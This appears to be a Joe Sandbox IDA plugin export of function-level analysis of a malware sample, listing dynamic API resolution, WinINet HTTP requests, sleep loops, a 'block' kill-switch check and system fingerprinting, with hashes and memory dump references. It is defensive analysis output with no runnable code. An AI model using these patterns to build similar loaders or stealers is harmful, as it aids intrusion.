Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 7b61b993aec84deb7edc64fb9848e7596e72807f94ebbdd38f4ff94bd798be35
Instruction ID: 45ceba009475e3cac95737ce5d2e1788a373041d86c8954b2c0f17176e40918e
Opcode Fuzzy Hash: 7b61b993aec84deb7edc64fb9848e7596e72807f94ebbdd38f4ff94bd798be35
Instruction Fuzzy Hash: 38F04FF1D44248AFC704DF99DD49FAEBBB8FB44761F10026AFA09A3680C7B41904CBA1

Function 00CB1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00CB116A
ExitProcess.KERNEL32 ref: 00CB117E

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 76e0d2f270ad53339f80ca73adf97992c94aaa514e030ed4986ab0ac3d90a3ff
Instruction ID: 0568bc06888186d303eef67a13ea92dba0cf201a900fc9330f2b04917a94b522
Opcode Fuzzy Hash: 76e0d2f270ad53339f80ca73adf97992c94aaa514e030ed4986ab0ac3d90a3ff
Instruction Fuzzy Hash: 77D05EB490030CDFCB00EFE1D849AEDBB78FB48312F440565DD0972380EA306486CAA6

Function 00CC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01885530), ref: 00CC9C2D
GetProcAddress.KERNEL32(74DD0000,01885550), ref: 00CC9C45
GetProcAddress.KERNEL32(74DD0000,0189A128), ref: 00CC9C5E
GetProcAddress.KERNEL32(74DD0000,0189A0E0), ref: 00CC9C76
GetProcAddress.KERNEL32(74DD0000,0189A140), ref: 00CC9C8E
GetProcAddress.KERNEL32(74DD0000,0189A158), ref: 00CC9CA7
GetProcAddress.KERNEL32(74DD0000,0188B770), ref: 00CC9CBF
GetProcAddress.KERNEL32(74DD0000,0189D0C8), ref: 00CC9CD7
GetProcAddress.KERNEL32(74DD0000,0189D1E8), ref: 00CC9CF0
GetProcAddress.KERNEL32(74DD0000,0189D230), ref: 00CC9D08
GetProcAddress.KERNEL32(74DD0000,0189D0E0), ref: 00CC9D20
GetProcAddress.KERNEL32(74DD0000,01885350), ref: 00CC9D39
GetProcAddress.KERNEL32(74DD0000,01885570), ref: 00CC9D51
GetProcAddress.KERNEL32(74DD0000,01885590), ref: 00CC9D69
GetProcAddress.KERNEL32(74DD0000,018855F0), ref: 00CC9D82
GetProcAddress.KERNEL32(74DD0000,0189D200), ref: 00CC9D9A
GetProcAddress.KERNEL32(74DD0000,0189D1D0), ref: 00CC9DB2
GetProcAddress.KERNEL32(74DD0000,0188B4F0), ref: 00CC9DCB
GetProcAddress.KERNEL32(74DD0000,01885370), ref: 00CC9DE3
GetProcAddress.KERNEL32(74DD0000,0189D008), ref: 00CC9DFB
GetProcAddress.KERNEL32(74DD0000,0189D248), ref: 00CC9E14
GetProcAddress.KERNEL32(74DD0000,0189D260), ref: 00CC9E2C
GetProcAddress.KERNEL32(74DD0000,0189D020), ref: 00CC9E44
GetProcAddress.KERNEL32(74DD0000,01885670), ref: 00CC9E5D
GetProcAddress.KERNEL32(74DD0000,0189D2A8), ref: 00CC9E75
GetProcAddress.KERNEL32(74DD0000,0189D140), ref: 00CC9E8D
GetProcAddress.KERNEL32(74DD0000,0189D0F8), ref: 00CC9EA6
GetProcAddress.KERNEL32(74DD0000,0189D218), ref: 00CC9EBE
GetProcAddress.KERNEL32(74DD0000,0189D278), ref: 00CC9ED6
GetProcAddress.KERNEL32(74DD0000,0189CFC0), ref: 00CC9EEF
GetProcAddress.KERNEL32(74DD0000,0189D038), ref: 00CC9F07
GetProcAddress.KERNEL32(74DD0000,0189D110), ref: 00CC9F1F
GetProcAddress.KERNEL32(74DD0000,0189D050), ref: 00CC9F38
GetProcAddress.KERNEL32(74DD0000,01899388), ref: 00CC9F50
GetProcAddress.KERNEL32(74DD0000,0189CFD8), ref: 00CC9F68
GetProcAddress.KERNEL32(74DD0000,0189D1B8), ref: 00CC9F81
GetProcAddress.KERNEL32(74DD0000,01885610), ref: 00CC9F99
GetProcAddress.KERNEL32(74DD0000,0189D128), ref: 00CC9FB1
GetProcAddress.KERNEL32(74DD0000,01885630), ref: 00CC9FCA
GetProcAddress.KERNEL32(74DD0000,0189CFF0), ref: 00CC9FE2
GetProcAddress.KERNEL32(74DD0000,0189D068), ref: 00CC9FFA
GetProcAddress.KERNEL32(74DD0000,01885650), ref: 00CCA013
GetProcAddress.KERNEL32(74DD0000,018856D0), ref: 00CCA02B
LoadLibraryA.KERNEL32(0189D290,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA03D
LoadLibraryA.KERNEL32(0189D170,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA04E
LoadLibraryA.KERNEL32(0189D188,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA060
LoadLibraryA.KERNEL32(0189D080,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA072
LoadLibraryA.KERNEL32(0189D098,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA083
LoadLibraryA.KERNEL32(0189D158,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA095
LoadLibraryA.KERNEL32(0189D0B0,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA0A7
LoadLibraryA.KERNEL32(0189D1A0,?,00CC5CA3,00CD0AEB,?,?,?,?,?,?,?,?,?,?,00CD0AEA,00CD0AE3), ref: 00CCA0B8
GetProcAddress.KERNEL32(75290000,018859B0), ref: 00CCA0DA
GetProcAddress.KERNEL32(75290000,0189D398), ref: 00CCA0F2
GetProcAddress.KERNEL32(75290000,01899B70), ref: 00CCA10A
GetProcAddress.KERNEL32(75290000,0189D320), ref: 00CCA123
GetProcAddress.KERNEL32(75290000,01885770), ref: 00CCA13B
GetProcAddress.KERNEL32(734C0000,0188B608), ref: 00CCA160
GetProcAddress.KERNEL32(734C0000,01885710), ref: 00CCA179
GetProcAddress.KERNEL32(734C0000,0188B630), ref: 00CCA191
GetProcAddress.KERNEL32(734C0000,0189D368), ref: 00CCA1A9
GetProcAddress.KERNEL32(734C0000,0189D338), ref: 00CCA1C2
GetProcAddress.KERNEL32(734C0000,01885A10), ref: 00CCA1DA
GetProcAddress.KERNEL32(734C0000,018857F0), ref: 00CCA1F2
GetProcAddress.KERNEL32(734C0000,0189D350), ref: 00CCA20B
GetProcAddress.KERNEL32(752C0000,01885950), ref: 00CCA22C
GetProcAddress.KERNEL32(752C0000,01885830), ref: 00CCA244
GetProcAddress.KERNEL32(752C0000,0189D380), ref: 00CCA25D
GetProcAddress.KERNEL32(752C0000,0189D3B0), ref: 00CCA275
GetProcAddress.KERNEL32(752C0000,018858F0), ref: 00CCA28D
GetProcAddress.KERNEL32(74EC0000,0188B798), ref: 00CCA2B3
GetProcAddress.KERNEL32(74EC0000,0188B658), ref: 00CCA2CB
GetProcAddress.KERNEL32(74EC0000,0189D2F0), ref: 00CCA2E3
GetProcAddress.KERNEL32(74EC0000,01885790), ref: 00CCA2FC
GetProcAddress.KERNEL32(74EC0000,018857B0), ref: 00CCA314
GetProcAddress.KERNEL32(74EC0000,0188B6A8), ref: 00CCA32C
GetProcAddress.KERNEL32(75BD0000,0189D308), ref: 00CCA352
GetProcAddress.KERNEL32(75BD0000,01885970), ref: 00CCA36A
GetProcAddress.KERNEL32(75BD0000,01899B50), ref: 00CCA382
GetProcAddress.KERNEL32(75BD0000,0189D3E0), ref: 00CCA39B
GetProcAddress.KERNEL32(75BD0000,0189D3C8), ref: 00CCA3B3
GetProcAddress.KERNEL32(75BD0000,01885A30), ref: 00CCA3CB
GetProcAddress.KERNEL32(75BD0000,01885990), ref: 00CCA3E4
GetProcAddress.KERNEL32(75BD0000,0189D3F8), ref: 00CCA3FC
GetProcAddress.KERNEL32(75BD0000,0189D410), ref: 00CCA414
GetProcAddress.KERNEL32(75A70000,018856B0), ref: 00CCA436
GetProcAddress.KERNEL32(75A70000,0189D440), ref: 00CCA44E
GetProcAddress.KERNEL32(75A70000,0189D428), ref: 00CCA466
GetProcAddress.KERNEL32(75A70000,0189D458), ref: 00CCA47F
GetProcAddress.KERNEL32(75A70000,0189D470), ref: 00CCA497
GetProcAddress.KERNEL32(75450000,01885810), ref: 00CCA4B8
GetProcAddress.KERNEL32(75450000,018857D0), ref: 00CCA4D1
GetProcAddress.KERNEL32(75DA0000,01885A50), ref: 00CCA4F2
GetProcAddress.KERNEL32(75DA0000,0189D2C0), ref: 00CCA50A
GetProcAddress.KERNEL32(6F070000,01885850), ref: 00CCA530
GetProcAddress.KERNEL32(6F070000,018856F0), ref: 00CCA548
GetProcAddress.KERNEL32(6F070000,018858B0), ref: 00CCA560
GetProcAddress.KERNEL32(6F070000,0189D2D8), ref: 00CCA579
GetProcAddress.KERNEL32(6F070000,018859D0), ref: 00CCA591
GetProcAddress.KERNEL32(6F070000,01885910), ref: 00CCA5A9
GetProcAddress.KERNEL32(6F070000,01885730), ref: 00CCA5C2
GetProcAddress.KERNEL32(6F070000,01885750), ref: 00CCA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00CCA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00CCA607
GetProcAddress.KERNEL32(75AF0000,0189CD98), ref: 00CCA629
GetProcAddress.KERNEL32(75AF0000,01899AF0), ref: 00CCA641
GetProcAddress.KERNEL32(75AF0000,0189CF18), ref: 00CCA659
GetProcAddress.KERNEL32(75AF0000,0189CDF8), ref: 00CCA672
GetProcAddress.KERNEL32(75D90000,01885870), ref: 00CCA693
GetProcAddress.KERNEL32(6CFB0000,0189CE28), ref: 00CCA6B4
GetProcAddress.KERNEL32(6CFB0000,01885890), ref: 00CCA6CD
GetProcAddress.KERNEL32(6CFB0000,0189CCC0), ref: 00CCA6E5
GetProcAddress.KERNEL32(6CFB0000,0189CE88), ref: 00CCA6FD

Strings

HttpQueryInfoA, xrefs: 00CCA5FC
InternetSetOptionA, xrefs: 00CCA5E5

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 8bef7b9cf247ecd4bcad2c2054ec8c45a4d78fb398fdc418c38bad66ce30e3f5
Instruction ID: 1cafc78502f8f0061d468cd7b666a3e98d42a4fb10e2cdf2105a5e27944a7480
Opcode Fuzzy Hash: 8bef7b9cf247ecd4bcad2c2054ec8c45a4d78fb398fdc418c38bad66ce30e3f5
Instruction Fuzzy Hash: 14624DF55002419FC348EFABED88D7637F9E7CC24170C857AA60DEB2A4D679A449CB12

Function 00CB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CB4839
Part of subcall function 00CB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CB4849

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

InternetOpenA.WININET(00CD0DFE,00000001,00000000,00000000,00000000), ref: 00CB62E1
StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CB6335
HttpOpenRequestA.WININET(00000000,GET,?,0189DEC8,00000000,00000000,00400100,00000000), ref: 00CB6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CB63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CB63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00CB63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CB646D
InternetCloseHandle.WININET(00000000), ref: 00CB64EF
InternetCloseHandle.WININET(00000000), ref: 00CB64F9
InternetCloseHandle.WININET(00000000), ref: 00CB6503

Strings

GET, xrefs: 00CB637C
ERROR, xrefs: 00CB64C9
ERROR, xrefs: 00CB6407

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 96655a8dea1ccd763298a88fa20c6d6ed9c4569e47099239f858a850eff807ac
Instruction ID: fc600a0cd2f59b83bbc37350c6bf2a5b7421b2da7e985e27795b9ce70849cb61
Opcode Fuzzy Hash: 96655a8dea1ccd763298a88fa20c6d6ed9c4569e47099239f858a850eff807ac
Instruction Fuzzy Hash: 75711D71A00218AFDB24DFA1DC49FEE77B8BB44704F1081A9F50A6B1D0DBB46A89DF51

Function 00CC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CCA820: lstrlen.KERNEL32(00CB4F05,?,?,00CB4F05,00CD0DDE), ref: 00CCA82B
Part of subcall function 00CCA820: lstrcpy.KERNEL32(00CD0DDE,00000000), ref: 00CCA885

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CC5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CC56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CC5857

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CC51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CC5228

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CC5318
Part of subcall function 00CC52C0: lstrlen.KERNEL32(00000000), ref: 00CC532F
Part of subcall function 00CC52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00CC5364
Part of subcall function 00CC52C0: lstrlen.KERNEL32(00000000), ref: 00CC5383
Part of subcall function 00CC52C0: lstrlen.KERNEL32(00000000), ref: 00CC53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CC578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CC5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CC5A0C
Sleep.KERNEL32(0000EA60), ref: 00CC5A1B

Strings

ERROR, xrefs: 00CC577D
ERROR, xrefs: 00CC5932
ERROR, xrefs: 00CC5849
ERROR, xrefs: 00CC5636
ERROR, xrefs: 00CC59FE
ERROR, xrefs: 00CC5693

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 83c3ebe502238b1f1e7e0c03d6e7c9b963e2dcf86bae250119611e04b986b831
Instruction ID: 20d577a23a9fbe537992d34940543dd899ec6389edd7b2ed007479c19d04592b
Opcode Fuzzy Hash: 83c3ebe502238b1f1e7e0c03d6e7c9b963e2dcf86bae250119611e04b986b831
Instruction Fuzzy Hash: E8E11D71910108ABCB14FBA1DC9AFFD7378AB94304F54816CF50666191EF346E4EEBA2

Function 00CC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00CC17C5
ExitProcess.KERNEL32 ref: 00CC17D1

Strings

block, xrefs: 00CC17B7

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 003fb3a971c3bf6a8057fa6a6aa7361b950221379e6ce3a7f66e3524eef0b63c
Instruction ID: 47d7e907cb2cc070a243e7051464beb162b1e93bdb3854e79790cf2ceec98718
Opcode Fuzzy Hash: 003fb3a971c3bf6a8057fa6a6aa7361b950221379e6ce3a7f66e3524eef0b63c
Instruction Fuzzy Hash: 7C517BB4A04209EFCB04DFA6C958FBE77B5AF45704F18805DE80AAB241D770EA45DB62

Function 00CC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00CC7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CC757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7603
RtlAllocateHeap.NTDLL(00000000), ref: 00CC760A
wsprintfA.USER32 ref: 00CC7640

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Strings

C, xrefs: 00CC754C
\, xrefs: 00CC7560
:, xrefs: 00CC755C

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 08dd9e6ebe804908c61e1a0fea5882e81c664515fc0d8e368669d95ee89d43d7
Instruction ID: c3cf1650de1be0e27c0ee08ac84cfd564f954f03100b11008efe64560df22621
Opcode Fuzzy Hash: 08dd9e6ebe804908c61e1a0fea5882e81c664515fc0d8e368669d95ee89d43d7
Instruction Fuzzy Hash: 1B416EB1904248ABDB10DB95DC45FEEBBB8EB48704F140199F509AB280DB786A48CFA5

Function 00CC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892200), ref: 00CC98A1
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892380), ref: 00CC98BA
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892098), ref: 00CC98D2
Part of subcall function 00CC9860: GetProcAddress.KERNEL32(74DD0000,01892188), ref: 00CC98EA
